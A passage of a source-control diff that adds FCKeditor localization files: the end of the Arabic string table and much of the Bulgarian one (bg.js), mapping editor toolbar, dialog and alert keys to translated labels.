+ButtonProp			: "خصائص زر الضغط",
+CheckboxProp		: "خصائص خانة الإختيار",
+HiddenFieldProp		: "خصائص الحقل الخفي",
+RadioButtonProp		: "خصائص زر الخيار",
+ImageButtonProp		: "خصائص زر الصورة",
+TextFieldProp		: "خصائص مربع النص",
+SelectionFieldProp	: "خصائص القائمة المنسدلة",
+TextareaProp		: "خصائص ناحية النص",
+FormProp			: "خصائص النموذج",
+
+FontFormats			: "عادي;منسّق;دوس;العنوان 1;العنوان  2;العنوان  3;العنوان  4;العنوان  5;العنوان  6",
+
+// Alerts and Messages
+ProcessingXHTML		: "إنتظر قليلاً ريثما تتم   معالَجة‏ XHTML. لن يستغرق طويلاً...",
+Done				: "تم",
+PasteWordConfirm	: "يبدو أن النص المراد لصقه منسوخ من برنامج وورد. هل تود تنظيفه قبل الشروع في عملية اللصق؟",
+NotCompatiblePaste	: "هذه الميزة تحتاج لمتصفح من النوعInternet Explorer إصدار 5.5 فما فوق. هل تود اللصق دون تنظيف الكود؟",
+UnknownToolbarItem	: "عنصر شريط أدوات غير معروف \"%1\"",
+UnknownCommand		: "أمر غير معروف \"%1\"",
+NotImplemented		: "لم يتم دعم هذا الأمر",
+UnknownToolbarSet	: "لم أتمكن من العثور على طقم الأدوات \"%1\" ",
+NoActiveX			: "لتأمين متصفحك يجب أن تحدد بعض مميزات المحرر. يتوجب عليك تمكين الخيار \"Run ActiveX controls and plug-ins\". قد تواجة أخطاء وتلاحظ مميزات مفقودة",
+BrowseServerBlocked : "لايمكن فتح مصدر المتصفح. فضلا يجب التأكد بأن جميع موانع النوافذ المنبثقة معطلة",
+DialogBlocked		: "لايمكن فتح نافذة الحوار . فضلا تأكد من أن  مانع النوافذ المنبثة معطل .",
+
+// Dialogs
+DlgBtnOK			: "موافق",
+DlgBtnCancel		: "إلغاء الأمر",
+DlgBtnClose			: "إغلاق",
+DlgBtnBrowseServer	: "تصفح الخادم",
+DlgAdvancedTag		: "متقدم",
+DlgOpOther			: "<أخرى>",
+DlgInfoTab			: "معلومات",
+DlgAlertUrl			: "الرجاء كتابة عنوان الإنترنت",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<بدون تحديد>",
+DlgGenId			: "الرقم",
+DlgGenLangDir		: "إتجاه النص",
+DlgGenLangDirLtr	: "اليسار لليمين (LTR)",
+DlgGenLangDirRtl	: "اليمين لليسار (RTL)",
+DlgGenLangCode		: "رمز اللغة",
+DlgGenAccessKey		: "مفاتيح الإختصار",
+DlgGenName			: "الاسم",
+DlgGenTabIndex		: "الترتيب",
+DlgGenLongDescr		: "عنوان الوصف المفصّل",
+DlgGenClass			: "فئات التنسيق",
+DlgGenTitle			: "تلميح الشاشة",
+DlgGenContType		: "نوع التلميح",
+DlgGenLinkCharset	: "ترميز المادة المطلوبة",
+DlgGenStyle			: "نمط",
+
+// Image Dialog
+DlgImgTitle			: "خصائص الصورة",
+DlgImgInfoTab		: "معلومات الصورة",
+DlgImgBtnUpload		: "أرسلها للخادم",
+DlgImgURL			: "موقع الصورة",
+DlgImgUpload		: "رفع",
+DlgImgAlt			: "الوصف",
+DlgImgWidth			: "العرض",
+DlgImgHeight		: "الإرتفاع",
+DlgImgLockRatio		: "تناسق الحجم",
+DlgBtnResetSize		: "إستعادة الحجم الأصلي",
+DlgImgBorder		: "سمك الحدود",
+DlgImgHSpace		: "تباعد أفقي",
+DlgImgVSpace		: "تباعد عمودي",
+DlgImgAlign			: "محاذاة",
+DlgImgAlignLeft		: "يسار",
+DlgImgAlignAbsBottom: "أسفل النص",
+DlgImgAlignAbsMiddle: "وسط السطر",
+DlgImgAlignBaseline	: "على السطر",
+DlgImgAlignBottom	: "أسفل",
+DlgImgAlignMiddle	: "وسط",
+DlgImgAlignRight	: "يمين",
+DlgImgAlignTextTop	: "أعلى النص",
+DlgImgAlignTop		: "أعلى",
+DlgImgPreview		: "معاينة",
+DlgImgAlertUrl		: "فضلاً أكتب الموقع الذي توجد عليه هذه الصورة.",
+DlgImgLinkTab		: "الرابط",
+
+// Flash Dialog
+DlgFlashTitle		: "خصائص فيلم الفلاش",
+DlgFlashChkPlay		: "تشغيل تلقائي",
+DlgFlashChkLoop		: "تكرار",
+DlgFlashChkMenu		: "تمكين قائمة فيلم الفلاش",
+DlgFlashScale		: "الحجم",
+DlgFlashScaleAll	: "إظهار الكل",
+DlgFlashScaleNoBorder	: "بلا حدود",
+DlgFlashScaleFit	: "ضبط تام",
+
+// Link Dialog
+DlgLnkWindowTitle	: "إرتباط تشعبي",
+DlgLnkInfoTab		: "معلومات الرابط",
+DlgLnkTargetTab		: "الهدف",
+
+DlgLnkType			: "نوع الربط",
+DlgLnkTypeURL		: "العنوان",
+DlgLnkTypeAnchor	: "مكان في هذا المستند",
+DlgLnkTypeEMail		: "بريد إلكتروني",
+DlgLnkProto			: "البروتوكول",
+DlgLnkProtoOther	: "<أخرى>",
+DlgLnkURL			: "الموقع",
+DlgLnkAnchorSel		: "اختر علامة مرجعية",
+DlgLnkAnchorByName	: "حسب اسم العلامة",
+DlgLnkAnchorById	: "حسب تعريف العنصر",
+DlgLnkNoAnchors		: "<لا يوجد علامات مرجعية في هذا المستند>",
+DlgLnkEMail			: "عنوان بريد إلكتروني",
+DlgLnkEMailSubject	: "موضوع الرسالة",
+DlgLnkEMailBody		: "محتوى الرسالة",
+DlgLnkUpload		: "رفع",
+DlgLnkBtnUpload		: "أرسلها للخادم",
+
+DlgLnkTarget		: "الهدف",
+DlgLnkTargetFrame	: "<إطار>",
+DlgLnkTargetPopup	: "<نافذة منبثقة>",
+DlgLnkTargetBlank	: "إطار جديد (_blank)",
+DlgLnkTargetParent	: "الإطار الأصل (_parent)",
+DlgLnkTargetSelf	: "نفس الإطار (_self)",
+DlgLnkTargetTop		: "صفحة كاملة (_top)",
+DlgLnkTargetFrameName	: "اسم الإطار الهدف",
+DlgLnkPopWinName	: "تسمية النافذة المنبثقة",
+DlgLnkPopWinFeat	: "خصائص النافذة المنبثقة",
+DlgLnkPopResize		: "قابلة للتحجيم",
+DlgLnkPopLocation	: "شريط العنوان",
+DlgLnkPopMenu		: "القوائم الرئيسية",
+DlgLnkPopScroll		: "أشرطة التمرير",
+DlgLnkPopStatus		: "شريط الحالة السفلي",
+DlgLnkPopToolbar	: "شريط الأدوات",
+DlgLnkPopFullScrn	: "ملئ الشاشة (IE)",
+DlgLnkPopDependent	: "تابع (Netscape)",
+DlgLnkPopWidth		: "العرض",
+DlgLnkPopHeight		: "الإرتفاع",
+DlgLnkPopLeft		: "التمركز لليسار",
+DlgLnkPopTop		: "التمركز للأعلى",
+
+DlnLnkMsgNoUrl		: "فضلاً أدخل عنوان الموقع الذي يشير إليه الرابط",
+DlnLnkMsgNoEMail	: "فضلاً أدخل عنوان البريد الإلكتروني",
+DlnLnkMsgNoAnchor	: "فضلاً حدد العلامة المرجعية المرغوبة",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "اختر لوناً",
+DlgColorBtnClear	: "مسح",
+DlgColorHighlight	: "تحديد",
+DlgColorSelected	: "إختيار",
+
+// Smiley Dialog
+DlgSmileyTitle		: "إدراج إبتسامات ",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "إدراج رمز",
+
+// Table Dialog
+DlgTableTitle		: "إدراج جدول",
+DlgTableRows		: "صفوف",
+DlgTableColumns		: "أعمدة",
+DlgTableBorder		: "سمك الحدود",
+DlgTableAlign		: "المحاذاة",
+DlgTableAlignNotSet	: "<بدون تحديد>",
+DlgTableAlignLeft	: "يسار",
+DlgTableAlignCenter	: "وسط",
+DlgTableAlignRight	: "يمين",
+DlgTableWidth		: "العرض",
+DlgTableWidthPx		: "بكسل",
+DlgTableWidthPc		: "بالمئة",
+DlgTableHeight		: "الإرتفاع",
+DlgTableCellSpace	: "تباعد الخلايا",
+DlgTableCellPad		: "المسافة البادئة",
+DlgTableCaption		: "الوصف",
+DlgTableSummary		: "الخلاصة",
+
+// Table Cell Dialog
+DlgCellTitle		: "خصائص الخلية",
+DlgCellWidth		: "العرض",
+DlgCellWidthPx		: "بكسل",
+DlgCellWidthPc		: "بالمئة",
+DlgCellHeight		: "الإرتفاع",
+DlgCellWordWrap		: "التفاف النص",
+DlgCellWordWrapNotSet	: "<بدون تحديد>",
+DlgCellWordWrapYes	: "نعم",
+DlgCellWordWrapNo	: "لا",
+DlgCellHorAlign		: "المحاذاة الأفقية",
+DlgCellHorAlignNotSet	: "<بدون تحديد>",
+DlgCellHorAlignLeft	: "يسار",
+DlgCellHorAlignCenter	: "وسط",
+DlgCellHorAlignRight: "يمين",
+DlgCellVerAlign		: "المحاذاة العمودية",
+DlgCellVerAlignNotSet	: "<بدون تحديد>",
+DlgCellVerAlignTop	: "أعلى",
+DlgCellVerAlignMiddle	: "وسط",
+DlgCellVerAlignBottom	: "أسفل",
+DlgCellVerAlignBaseline	: "على السطر",
+DlgCellRowSpan		: "إمتداد الصفوف",
+DlgCellCollSpan		: "إمتداد الأعمدة",
+DlgCellBackColor	: "لون الخلفية",
+DlgCellBorderColor	: "لون الحدود",
+DlgCellBtnSelect	: "حدّد...",
+
+// Find Dialog
+DlgFindTitle		: "بحث",
+DlgFindFindBtn		: "ابحث",
+DlgFindNotFoundMsg	: "لم يتم العثور على النص المحدد.",
+
+// Replace Dialog
+DlgReplaceTitle			: "إستبدال",
+DlgReplaceFindLbl		: "البحث عن:",
+DlgReplaceReplaceLbl	: "إستبدال بـ:",
+DlgReplaceCaseChk		: "مطابقة حالة الأحرف",
+DlgReplaceReplaceBtn	: "إستبدال",
+DlgReplaceReplAllBtn	: "إستبدال الكل",
+DlgReplaceWordChk		: "الكلمة بالكامل فقط",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "الإعدادات الأمنية للمتصفح الذي تستخدمه تمنع اللصق التلقائي. فضلاً إستخدم لوحة المفاتيح لفعل ذلك (Ctrl+V).",
+PasteErrorCut	: "الإعدادات الأمنية للمتصفح الذي تستخدمه تمنع القص التلقائي. فضلاً إستخدم لوحة المفاتيح لفعل ذلك (Ctrl+X).",
+PasteErrorCopy	: "الإعدادات الأمنية للمتصفح الذي تستخدمه تمنع النسخ التلقائي. فضلاً إستخدم لوحة المفاتيح لفعل ذلك (Ctrl+C).",
+
+PasteAsText		: "لصق كنص بسيط",
+PasteFromWord	: "لصق من وورد",
+
+DlgPasteMsg2	: "الصق داخل الصندوق بإستخدام زرّي (<STRONG>Ctrl+V</STRONG>) في لوحة المفاتيح، ثم اضغط زر  <STRONG>موافق</STRONG>.",
+DlgPasteIgnoreFont		: "تجاهل تعريفات أسماء الخطوط",
+DlgPasteRemoveStyles	: "إزالة تعريفات الأنماط",
+DlgPasteCleanBox		: "نظّف محتوى الصندوق",
+
+// Color Picker
+ColorAutomatic	: "تلقائي",
+ColorMoreColors	: "ألوان إضافية...",
+
+// Document Properties
+DocProps		: "خصائص الصفحة",
+
+// Anchor Dialog
+DlgAnchorTitle		: "خصائص إشارة مرجعية",
+DlgAnchorName		: "اسم الإشارة المرجعية",
+DlgAnchorErrorName	: "الرجاء كتابة اسم الإشارة المرجعية",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "ليست في القاموس",
+DlgSpellChangeTo		: "التغيير إلى",
+DlgSpellBtnIgnore		: "تجاهل",
+DlgSpellBtnIgnoreAll	: "تجاهل الكل",
+DlgSpellBtnReplace		: "تغيير",
+DlgSpellBtnReplaceAll	: "تغيير الكل",
+DlgSpellBtnUndo			: "تراجع",
+DlgSpellNoSuggestions	: "- لا توجد إقتراحات -",
+DlgSpellProgress		: "جاري التدقيق إملائياً",
+DlgSpellNoMispell		: "تم إكمال التدقيق الإملائي: لم يتم العثور على أي أخطاء إملائية",
+DlgSpellNoChanges		: "تم إكمال التدقيق الإملائي: لم يتم تغيير أي كلمة",
+DlgSpellOneChange		: "تم إكمال التدقيق الإملائي: تم تغيير كلمة واحدة فقط",
+DlgSpellManyChanges		: "تم إكمال التدقيق الإملائي: تم تغيير %1 كلمات\كلمة",
+
+IeSpellDownload			: "المدقق الإملائي (الإنجليزي) غير مثبّت. هل تود تحميله الآن؟",
+
+// Button Dialog
+DlgButtonText		: "القيمة/التسمية",
+DlgButtonType		: "نوع الزر",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "الاسم",
+DlgCheckboxValue	: "القيمة",
+DlgCheckboxSelected	: "محدد",
+
+// Form Dialog
+DlgFormName		: "الاسم",
+DlgFormAction	: "اسم الملف",
+DlgFormMethod	: "الأسلوب",
+
+// Select Field Dialog
+DlgSelectName		: "الاسم",
+DlgSelectValue		: "القيمة",
+DlgSelectSize		: "الحجم",
+DlgSelectLines		: "الأسطر",
+DlgSelectChkMulti	: "السماح بتحديدات متعددة",
+DlgSelectOpAvail	: "الخيارات المتاحة",
+DlgSelectOpText		: "النص",
+DlgSelectOpValue	: "القيمة",
+DlgSelectBtnAdd		: "إضافة",
+DlgSelectBtnModify	: "تعديل",
+DlgSelectBtnUp		: "تحريك لأعلى",
+DlgSelectBtnDown	: "تحريك لأسفل",
+DlgSelectBtnSetValue : "إجعلها محددة",
+DlgSelectBtnDelete	: "إزالة",
+
+// Textarea Dialog
+DlgTextareaName	: "الاسم",
+DlgTextareaCols	: "الأعمدة",
+DlgTextareaRows	: "الصفوف",
+
+// Text Field Dialog
+DlgTextName			: "الاسم",
+DlgTextValue		: "القيمة",
+DlgTextCharWidth	: "العرض بالأحرف",
+DlgTextMaxChars		: "عدد الحروف الأقصى",
+DlgTextType			: "نوع المحتوى",
+DlgTextTypeText		: "نص",
+DlgTextTypePass		: "كلمة مرور",
+
+// Hidden Field Dialog
+DlgHiddenName	: "الاسم",
+DlgHiddenValue	: "القيمة",
+
+// Bulleted List Dialog
+BulletedListProp	: "خصائص التعداد النقطي",
+NumberedListProp	: "خصائص التعداد الرقمي",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "النوع",
+DlgLstTypeCircle	: "دائرة",
+DlgLstTypeDisc		: "قرص",
+DlgLstTypeSquare	: "مربع",
+DlgLstTypeNumbers	: "أرقام (1، 2، 3)َ",
+DlgLstTypeLCase		: "حروف صغيرة (a, b, c)َ",
+DlgLstTypeUCase		: "حروف كبيرة (A, B, C)َ",
+DlgLstTypeSRoman	: "ترقيم روماني صغير (i, ii, iii)َ",
+DlgLstTypeLRoman	: "ترقيم روماني كبير (I, II, III)َ",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "عام",
+DlgDocBackTab		: "الخلفية",
+DlgDocColorsTab		: "الألوان والهوامش",
+DlgDocMetaTab		: "المعرّفات الرأسية",
+
+DlgDocPageTitle		: "عنوان الصفحة",
+DlgDocLangDir		: "إتجاه اللغة",
+DlgDocLangDirLTR	: "اليسار لليمين (LTR)",
+DlgDocLangDirRTL	: "اليمين لليسار (RTL)",
+DlgDocLangCode		: "رمز اللغة",
+DlgDocCharSet		: "ترميز الحروف",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "ترميز حروف آخر",
+
+DlgDocDocType		: "ترويسة نوع  الصفحة",
+DlgDocDocTypeOther	: "ترويسة نوع  صفحة أخرى",
+DlgDocIncXHTML		: "تضمين   إعلانات‏ لغة XHTMLَ",
+DlgDocBgColor		: "لون الخلفية",
+DlgDocBgImage		: "رابط الصورة الخلفية",
+DlgDocBgNoScroll	: "جعلها علامة مائية",
+DlgDocCText			: "النص",
+DlgDocCLink			: "الروابط",
+DlgDocCVisited		: "المزارة",
+DlgDocCActive		: "النشطة",
+DlgDocMargins		: "هوامش الصفحة",
+DlgDocMaTop			: "علوي",
+DlgDocMaLeft		: "أيسر",
+DlgDocMaRight		: "أيمن",
+DlgDocMaBottom		: "سفلي",
+DlgDocMeIndex		: "الكلمات الأساسية (مفصولة بفواصل)َ",
+DlgDocMeDescr		: "وصف الصفحة",
+DlgDocMeAuthor		: "الكاتب",
+DlgDocMeCopy		: "المالك",
+DlgDocPreview		: "معاينة",
+
+// Templates Dialog
+Templates			: "القوالب",
+DlgTemplatesTitle	: "قوالب المحتوى",
+DlgTemplatesSelMsg	: "اختر القالب الذي تود وضعه في المحرر <br>(سيتم فقدان المحتوى الحالي):",
+DlgTemplatesLoading	: "جاري تحميل قائمة القوالب، الرجاء الإنتظار...",
+DlgTemplatesNoTpl	: "(لم يتم تعريف أي قالب)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "نبذة",
+DlgAboutBrowserInfoTab	: "معلومات متصفحك",
+DlgAboutLicenseTab	: "الترخيص",
+DlgAboutVersion		: "الإصدار",
+DlgAboutLicense		: "مرخّص بحسب قانون  GNU LGPL",
+DlgAboutInfo		: "لمزيد من المعلومات تفضل بزيارة"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/bg.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/bg.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/bg.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: bg.js
+ * 	Bulgarian language file.
+ * 
+ * File Authors:
+ * 		Miroslav Ivanov (miro@primal-chaos.net)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Скрий панела с инструментите",
+ToolbarExpand		: "Покажи панела с инструментите",
+
+// Toolbar Items and Context Menu
+Save				: "Запази",
+NewPage				: "Нова страница",
+Preview				: "Предварителен изглед",
+Cut					: "Изрежи",
+Copy				: "Запамети",
+Paste				: "Вмъкни",
+PasteText			: "Вмъкни само текст",
+PasteWord			: "Вмъкни от MS Word",
+Print				: "Печат",
+SelectAll			: "Селектирай всичко",
+RemoveFormat		: "Изтрий форматирането",
+InsertLinkLbl		: "Връзка",
+InsertLink			: "Добави/Редактирай връзка",
+RemoveLink			: "Изтрий връзка",
+Anchor				: "Добави/Редактирай котва",
+InsertImageLbl		: "Изображение",
+InsertImage			: "Добави/Редактирай изображение",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Добави/Редактиай Flash обект",
+InsertTableLbl		: "Таблица",
+InsertTable			: "Добави/Редактирай таблица",
+InsertLineLbl		: "Линия",
+InsertLine			: "Вмъкни хоризонтална линия",
+InsertSpecialCharLbl: "Специален символ",
+InsertSpecialChar	: "Вмъкни специален символ",
+InsertSmileyLbl		: "Усмивка",
+InsertSmiley		: "Добави усмивка",
+About				: "За FCKeditor",
+Bold				: "Удебелен",
+Italic				: "Курсив",
+Underline			: "Подчертан",
+StrikeThrough		: "Зачертан",
+Subscript			: "Индекс за база",
+Superscript			: "Индекс за степен",
+LeftJustify			: "Подравняване в ляво",
+CenterJustify		: "Подравнявне в средата",
+RightJustify		: "Подравняване в дясно",
+BlockJustify		: "Двустранно подравняване",
+DecreaseIndent		: "Намали отстъпа",
+IncreaseIndent		: "Увеличи отстъпа",
+Undo				: "Отмени",
+Redo				: "Повтори",
+NumberedListLbl		: "Нумериран списък",
+NumberedList		: "Добави/Изтрий нумериран списък",
+BulletedListLbl		: "Ненумериран списък",
+BulletedList		: "Добави/Изтрий ненумериран списък",
+ShowTableBorders	: "Покажи рамките на таблицата",
+ShowDetails			: "Покажи подробности",
+Style				: "Стил",
+FontFormat			: "Формат",
+Font				: "Шрифт",
+FontSize			: "Размер",
+TextColor			: "Цвят на текста",
+BGColor				: "Цвят на фона",
+Source				: "Код",
+Find				: "Търси",
+Replace				: "Замести",
+SpellCheck			: "Провери правописа",
+UniversalKeyboard	: "Универсална клавиатура",
+PageBreakLbl		: "Нов ред",
+PageBreak			: "Вмъкни нов ред",
+
+Form			: "Формуляр",
+Checkbox		: "Поле за отметка",
+RadioButton		: "Поле за опция",
+TextField		: "Текстово поле",
+Textarea		: "Текстова област",
+HiddenField		: "Скрито поле",
+Button			: "Бутон",
+SelectionField	: "Падащо меню с опции",
+ImageButton		: "Бутон-изображение",
+
+FitWindow		: "Maximize the editor size",	//MISSING
+
+// Context Menu
+EditLink			: "Редактирай връзка",
+CellCM				: "Cell",	//MISSING
+RowCM				: "Row",	//MISSING
+ColumnCM			: "Column",	//MISSING
+InsertRow			: "Добави ред",
+DeleteRows			: "Изтрий редовете",
+InsertColumn		: "Добави колона",
+DeleteColumns		: "Изтрий колоните",
+InsertCell			: "Добави клетка",
+DeleteCells			: "Изтрий клетките",
+MergeCells			: "Обедини клетките",
+SplitCell			: "Раздели клетката",
+TableDelete			: "Изтрий таблицата",
+CellProperties		: "Параметри на клетката",
+TableProperties		: "Параметри на таблицата",
+ImageProperties		: "Параметри на изображението",
+FlashProperties		: "Параметри на Flash обекта",
+
+AnchorProp			: "Параметри на котвата",
+ButtonProp			: "Параметри на бутона",
+CheckboxProp		: "Параметри на полето за отметка",
+HiddenFieldProp		: "Параметри на скритото поле",
+RadioButtonProp		: "Параметри на полето за опция",
+ImageButtonProp		: "Параметри на бутона-изображение",
+TextFieldProp		: "Параметри на текстовото-поле",
+SelectionFieldProp	: "Параметри на падащото меню с опции",
+TextareaProp		: "Параметри на текстовата област",
+FormProp			: "Параметри на формуляра",
+
+FontFormats			: "Нормален;Форматиран;Адрес;Заглавие 1;Заглавие 2;Заглавие 3;Заглавие 4;Заглавие 5;Заглавие 6;Параграф (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "Обработка на XHTML. Моля изчакайте...",
+Done				: "Готово",
+PasteWordConfirm	: "Текстът, който искате да вмъкнете е копиран от MS Word. Желаете ли да бъде изчистен преди вмъкването?",
+NotCompatiblePaste	: "Тази операция изисква MS Internet Explorer версия 5.5 или по-висока. Желаете ли да вмъкнете запаметеното без изчистване?",
+UnknownToolbarItem	: "Непознат инструмент \"%1\"",
+UnknownCommand		: "Непозната команда \"%1\"",
+NotImplemented		: "Командата не е имплементирана",
+UnknownToolbarSet	: "Панелът \"%1\" не съществува",
+NoActiveX			: "Your browser's security settings could limit some features of the editor. You must enable the option \"Run ActiveX controls and plug-ins\". You may experience errors and notice missing features.",	//MISSING
+BrowseServerBlocked : "The resources browser could not be opened. Make sure that all popup blockers are disabled.",	//MISSING
+DialogBlocked		: "It was not possible to open the dialog window. Make sure all popup blockers are disabled.",	//MISSING
+
+// Dialogs
+DlgBtnOK			: "ОК",
+DlgBtnCancel		: "Отказ",
+DlgBtnClose			: "Затвори",
+DlgBtnBrowseServer	: "Разгледай сървъра",
+DlgAdvancedTag		: "Подробности...",
+DlgOpOther			: "<Друго>",
+DlgInfoTab			: "Информация",
+DlgAlertUrl			: "Моля, въведете пълния път (URL)",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<не е настроен>",
+DlgGenId			: "Идентификатор",
+DlgGenLangDir		: "посока на речта",
+DlgGenLangDirLtr	: "От ляво на дясно",
+DlgGenLangDirRtl	: "От дясно на ляво",
+DlgGenLangCode		: "Код на езика",
+DlgGenAccessKey		: "Бърз клавиш",
+DlgGenName			: "Име",
+DlgGenTabIndex		: "Ред на достъп",
+DlgGenLongDescr		: "Описание на връзката",
+DlgGenClass			: "Клас от стиловите таблици",
+DlgGenTitle			: "Препоръчително заглавие",
+DlgGenContType		: "Препоръчителен тип на съдържанието",
+DlgGenLinkCharset	: "Тип на свързания ресурс",
+DlgGenStyle			: "Стил",
+
+// Image Dialog
+DlgImgTitle			: "Параметри на изображението",
+DlgImgInfoTab		: "Информация за изображението",
+DlgImgBtnUpload		: "Прати към сървъра",
+DlgImgURL			: "Пълен път (URL)",
+DlgImgUpload		: "Качи",
+DlgImgAlt			: "Алтернативен текст",
+DlgImgWidth			: "Ширина",
+DlgImgHeight		: "Височина",
+DlgImgLockRatio		: "Запази пропорцията",
+DlgBtnResetSize		: "Възстанови размера",
+DlgImgBorder		: "Рамка",
+DlgImgHSpace		: "Хоризонтален отстъп",
+DlgImgVSpace		: "Вертикален отстъп",
+DlgImgAlign			: "Подравняване",
+DlgImgAlignLeft		: "Ляво",
+DlgImgAlignAbsBottom: "Най-долу",
+DlgImgAlignAbsMiddle: "Точно по средата",
+DlgImgAlignBaseline	: "По базовата линия",
+DlgImgAlignBottom	: "Долу",
+DlgImgAlignMiddle	: "По средата",
+DlgImgAlignRight	: "Дясно",
+DlgImgAlignTextTop	: "Върху текста",
+DlgImgAlignTop		: "Отгоре",
+DlgImgPreview		: "Изглед",
+DlgImgAlertUrl		: "Моля, въведете пълния път до изображението",
+DlgImgLinkTab		: "Връзка",
+
+// Flash Dialog
+DlgFlashTitle		: "Параметри на Flash обекта",
+DlgFlashChkPlay		: "Автоматично стартиране",
+DlgFlashChkLoop		: "Ново стартиране след завършването",
+DlgFlashChkMenu		: "Разрешено Flash меню",
+DlgFlashScale		: "Оразмеряване",
+DlgFlashScaleAll	: "Покажи целия обект",
+DlgFlashScaleNoBorder	: "Без рамка",
+DlgFlashScaleFit	: "Според мястото",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Връзка",
+DlgLnkInfoTab		: "Информация за връзката",
+DlgLnkTargetTab		: "Цел",
+
+DlgLnkType			: "Вид на връзката",
+DlgLnkTypeURL		: "Пълен път (URL)",
+DlgLnkTypeAnchor	: "Котва в текущата страница",
+DlgLnkTypeEMail		: "Е-поща",
+DlgLnkProto			: "Протокол",
+DlgLnkProtoOther	: "<друго>",
+DlgLnkURL			: "Пълен път (URL)",
+DlgLnkAnchorSel		: "Изберете котва",
+DlgLnkAnchorByName	: "По име на котвата",
+DlgLnkAnchorById	: "По идентификатор на елемент",
+DlgLnkNoAnchors		: "<Няма котви в текущия документ>",
+DlgLnkEMail			: "Адрес за е-поща",
+DlgLnkEMailSubject	: "Тема на писмото",
+DlgLnkEMailBody		: "Текст на писмото",
+DlgLnkUpload		: "Качи",
+DlgLnkBtnUpload		: "Прати на сървъра",
+
+DlgLnkTarget		: "Цел",
+DlgLnkTargetFrame	: "<рамка>",
+DlgLnkTargetPopup	: "<дъщерен прозорец>",
+DlgLnkTargetBlank	: "Нов прозорец (_blank)",
+DlgLnkTargetParent	: "Родителски прозорец (_parent)",
+DlgLnkTargetSelf	: "Активния прозорец (_self)",
+DlgLnkTargetTop		: "Целия прозорец (_top)",
+DlgLnkTargetFrameName	: "Име на целевия прозорец",
+DlgLnkPopWinName	: "Име на дъщерния прозорец",
+DlgLnkPopWinFeat	: "Параметри на дъщерния прозорец",
+DlgLnkPopResize		: "С променливи размери",
+DlgLnkPopLocation	: "Поле за адрес",
+DlgLnkPopMenu		: "Меню",
+DlgLnkPopScroll		: "Плъзгач",
+DlgLnkPopStatus		: "Поле за статус",
+DlgLnkPopToolbar	: "Панел с бутони",
+DlgLnkPopFullScrn	: "Голям екран (MS IE)",
+DlgLnkPopDependent	: "Зависим (Netscape)",
+DlgLnkPopWidth		: "Ширина",
+DlgLnkPopHeight		: "Височина",
+DlgLnkPopLeft		: "Координати - X",
+DlgLnkPopTop		: "Координати - Y",
+
+DlnLnkMsgNoUrl		: "Моля, напишете пълния път (URL)",
+DlnLnkMsgNoEMail	: "Моля, напишете адреса за е-поща",
+DlnLnkMsgNoAnchor	: "Моля, изберете котва",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Изберете цвят",
+DlgColorBtnClear	: "Изчисти",
+DlgColorHighlight	: "Текущ",
+DlgColorSelected	: "Избран",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Добави усмивка",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Изберете специален символ",
+
+// Table Dialog
+DlgTableTitle		: "Параметри на таблицата",
+DlgTableRows		: "Редове",
+DlgTableColumns		: "Колони",
+DlgTableBorder		: "Размер на рамката",
+DlgTableAlign		: "Подравняване",
+DlgTableAlignNotSet	: "<Не е избрано>",
+DlgTableAlignLeft	: "Ляво",
+DlgTableAlignCenter	: "Център",
+DlgTableAlignRight	: "Дясно",
+DlgTableWidth		: "Ширина",
+DlgTableWidthPx		: "пиксели",
+DlgTableWidthPc		: "проценти",
+DlgTableHeight		: "Височина",
+DlgTableCellSpace	: "Разстояние между клетките",
+DlgTableCellPad		: "Отстъп на съдържанието в клетките",
+DlgTableCaption		: "Заглавие",
+DlgTableSummary		: "Резюме",
+
+// Table Cell Dialog
+DlgCellTitle		: "Параметри на клетката",
+DlgCellWidth		: "Ширина",
+DlgCellWidthPx		: "пиксели",
+DlgCellWidthPc		: "проценти",
+DlgCellHeight		: "Височина",
+DlgCellWordWrap		: "пренасяне на нов ред",
+DlgCellWordWrapNotSet	: "<Не е настроено>",
+DlgCellWordWrapYes	: "Да",
+DlgCellWordWrapNo	: "не",
+DlgCellHorAlign		: "Хоризонтално подравняване",
